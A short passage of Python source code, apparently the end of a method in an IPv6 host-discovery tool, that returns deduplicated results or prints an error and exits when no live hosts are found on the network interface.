            self._unique_results = results
        # endregion

        # region Return results
        if len(self._unique_results) == 0:
            if exit_on_failure:
                self._base.error_text(
                    'Could not found alive IPv6 hosts on interface: ' +
                    self._your['network-interface'])
                exit(1)
        return self._unique_results